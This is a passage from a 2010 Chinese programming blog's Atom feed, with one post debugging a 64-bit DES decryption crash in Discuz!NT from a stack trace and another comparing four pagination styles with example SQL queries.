&lt;p&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-size: 12px; white-space: pre; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;"&gt;&lt;span style="font-size: medium;"&gt;&lt;span style="font-size: 14px; white-space: normal; -webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px;"&gt;乖乖。。。立刻显示：&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&#xD;
&lt;p&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-size: 12px; white-space: pre; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;"&gt;&lt;span style="font-size: medium;"&gt;&lt;span style="font-size: 14px; white-space: normal; -webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&#xD;
&lt;p style="padding-left: 30px;"&gt;0000000003502A90 00000642788F2237 mscorlib_ni!System.AccessViolationException..ctor()+0x17&lt;/p&gt;&#xD;
&lt;p style="padding-left: 30px;"&gt;(TransitionUM)&lt;/p&gt;&#xD;
&lt;p style="padding-left: 30px;"&gt;(TransitionMU)&lt;/p&gt;&#xD;
&lt;p style="padding-left: 30px;"&gt;000000000354E6D0 0000064278ACB013 mscorlib_ni!System.Security.Cryptography.CryptoAPITransform.TransformFinalBlock(Byte[], Int32, Int32)+0x123&lt;/p&gt;&#xD;
&lt;p style="padding-left: 30px;"&gt;000000000354E760 0000064278334403 mscorlib_ni!System.Security.Cryptography.CryptoStream.FlushFinalBlock()+0x33&lt;/p&gt;&#xD;
&lt;p style="padding-left: 30px;"&gt;000000000354E7A0 00000642801D09BA Discuz_Common!Discuz.Common.DES.Decode(System.String, System.String)+0x11a&lt;/p&gt;&#xD;
&lt;p style="padding-left: 30px;"&gt;000000000354E810 00000642801D0430 Discuz_Forum!Discuz.Forum.OnlineUsers.UpdateInfo(System.String, Int32, Int32, System.String)+0xc0&lt;/p&gt;&#xD;
&lt;p style="padding-left: 30px;"&gt;000000000354E890 00000642801CE4AB Discuz_Forum!Discuz.Forum.PageBase..ctor()+0x55b&lt;/p&gt;&#xD;
&lt;p&gt;问题很明显了。。。Discuz!NT启动时检查用户信息的代码出错了。。。具体是：&lt;br /&gt;Discuz.Common\Encrypt.cs文件的97行 DES类Decode函数。。。&lt;/p&gt;&#xD;
&lt;p&gt;对DES不熟，不清楚为什么64位下运行FlushFinalBlock会出错。。。重新将DES的decode/encode函数实现一遍。。。上传服务器。。。论坛首页终于出来了。。。&lt;/p&gt;&#xD;
&lt;p&gt;泪流满面。。。&lt;/p&gt;&lt;img src="http://www.cnblogs.com/wuvist/aggbug/1752878.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/wuvist/archive/2010/06/06/1752878.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/wuvist/archive/2010/03/15/1686267.html</id><title type="text">说说分页</title><summary type="text">（这个是老掉牙的问题；不许笑～）列举一下各种分页风格。风格1. Page Number with/out PageSize这应该最常见的分页方式。ASP时代record set对象对此有直接支持；但rs实际上是从数据库中获取了所有数据，在应用中做了分页；性能极其低下（ASP.Net早期的DataGrid似乎也有此传统。）。好处：简单/易懂；往往有总页数支持，用户体验较好。坏处：默认可能会有性能问题...</summary><published>2010-03-15T07:26:00Z</published><updated>2010-03-15T07:26:00Z</updated><author><name>问天</name><uri>http://www.cnblogs.com/wuvist/</uri></author><link rel="alternate" href="http://www.cnblogs.com/wuvist/archive/2010/03/15/1686267.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/wuvist/archive/2010/03/15/1686267.html"/><content type="html">&lt;p&gt;（这个是老掉牙的问题；不许笑～）&amp;nbsp;&lt;/p&gt;&#xD;
&lt;p&gt;列举一下各种分页风格。&amp;nbsp;&lt;/p&gt;&#xD;
&lt;p&gt;&lt;strong&gt;风格1. Page Number with/out PageSize&amp;nbsp;&lt;/strong&gt;&lt;/p&gt;&#xD;
&lt;p&gt;这应该最常见的分页方式。&amp;nbsp;&lt;/p&gt;&#xD;
&lt;p&gt;ASP时代record set对象对此有直接支持；但rs实际上是从数据库中获取了所有数据，在应用中做了分页；性能极其低下（ASP.Net早期的&amp;nbsp;&lt;br /&gt;DataGrid似乎也有此传统。）。&amp;nbsp;&lt;/p&gt;&#xD;
&lt;p&gt;好处：简单/易懂；往往有总页数支持，用户体验较好。&amp;nbsp;&lt;br /&gt;坏处：默认可能会有性能问题可以解决，但不适合用于处理高频更新的数据。看完第一页后翻第二页时，可能又有了一页新内容，第二页显示出来还是刚刚第一页&amp;nbsp;&lt;br /&gt;的内容。&amp;nbsp;&lt;/p&gt;&#xD;
&lt;p&gt;&lt;strong&gt;风格2： Start with PageSize&amp;nbsp;&lt;/strong&gt;&lt;/p&gt;&#xD;
&lt;p&gt;是风格1的修改版，两者其实可以互换；但界面不一样，风格2往往不会有总页数提示；而是采用 Prev / Next的风格。&amp;nbsp;&lt;/p&gt;&#xD;
&lt;p&gt;好处跟坏处与1类似；常用于显示总条目数量无法轻易统计的场景。&amp;nbsp;&lt;/p&gt;&#xD;
&lt;p&gt;Start &amp;gt; 0时显示Prev链接；Next的显示比较取巧：&amp;nbsp;&lt;br /&gt;永远拿PageSize + 1的数据，能够获得PageSize + 1时就Trim掉最后一条数据，并显示Next。&amp;nbsp;&lt;/p&gt;&#xD;
&lt;p&gt;&lt;strong&gt;风格3： Cursor with PageSize&amp;nbsp;&lt;/strong&gt;&lt;/p&gt;&#xD;
&lt;p&gt;相对于风格1/2，这可视为是对特定应用：&amp;nbsp;&lt;br /&gt;数据有按顺序排列的ID&amp;nbsp;&lt;/p&gt;&#xD;
&lt;p&gt;的特殊处理。&amp;nbsp;&lt;/p&gt;&#xD;
&lt;p&gt;比方说，列举最新注册用户，风格1/2对应的sql类似：&amp;nbsp;&lt;br /&gt;MySQL: select * from users order by id desc limit 10, 20&amp;nbsp;&lt;br /&gt;SqlServer: select * from (select * ,ROW_NUMBER() over (order by id&amp;nbsp;&lt;br /&gt;desc) as rowNum from users ) as mytable where rowNum between 11 and 20&amp;nbsp;&lt;/p&gt;&#xD;
&lt;p&gt;但风格三对应的SQL会是：&amp;nbsp;&lt;br /&gt;select top 10 * from users order by id desc where id &amp;gt; XXX&amp;nbsp;&lt;/p&gt;&#xD;
&lt;p&gt;性能较1/2会有本质提高。&amp;nbsp;&lt;/p&gt;&#xD;
&lt;p&gt;缺点对数据格式有要求，幸好在SNS类应用中，大多数情况都符合此要求。&amp;nbsp;&lt;/p&gt;&#xD;
&lt;p&gt;Prev需要由上一页传递Cursor（或者修改sql的where条件为id &amp;lt; XXX），Next依旧采用风格2中&amp;ldquo;多拿一个&amp;rdquo;的方法处理。&amp;nbsp;&lt;/p&gt;&#xD;
&lt;p&gt;&lt;strong&gt;风格4： Cursor with PageSize / Count&amp;nbsp;&lt;/strong&gt;&lt;/p&gt;&#xD;
&lt;p&gt;属于风格1 + 3的混合体。&amp;nbsp;&lt;/p&gt;&#xD;
&lt;p&gt;基于风格3，但是用一个较大的PageSize，比方说100；然后再对这100条数据里面使用风格1做分页。&amp;nbsp;&lt;/p&gt;&#xD;
&lt;p&gt;在特定情况（其实也往往是最常见的情况）下风格3可以获得极高的性能，所以增加风格1的提高用户体验。&amp;nbsp;&lt;/p&gt;&#xD;
&lt;p&gt;界面上不再显示Prev / Next，而是显示上/下N页，类似Google的搜索结果页。&amp;nbsp;&lt;/p&gt;&#xD;
&lt;p&gt;风格4看上去最怪异，但却可能是最应该使用的。&amp;nbsp;&lt;/p&gt;&#xD;
&lt;p&gt;欢迎一起来讨论老掉牙的分页问题～&lt;/p&gt;&lt;img src="http://www.cnblogs.com/wuvist/aggbug/1686267.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/wuvist/archive/2010/03/15/1686267.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry></feed>
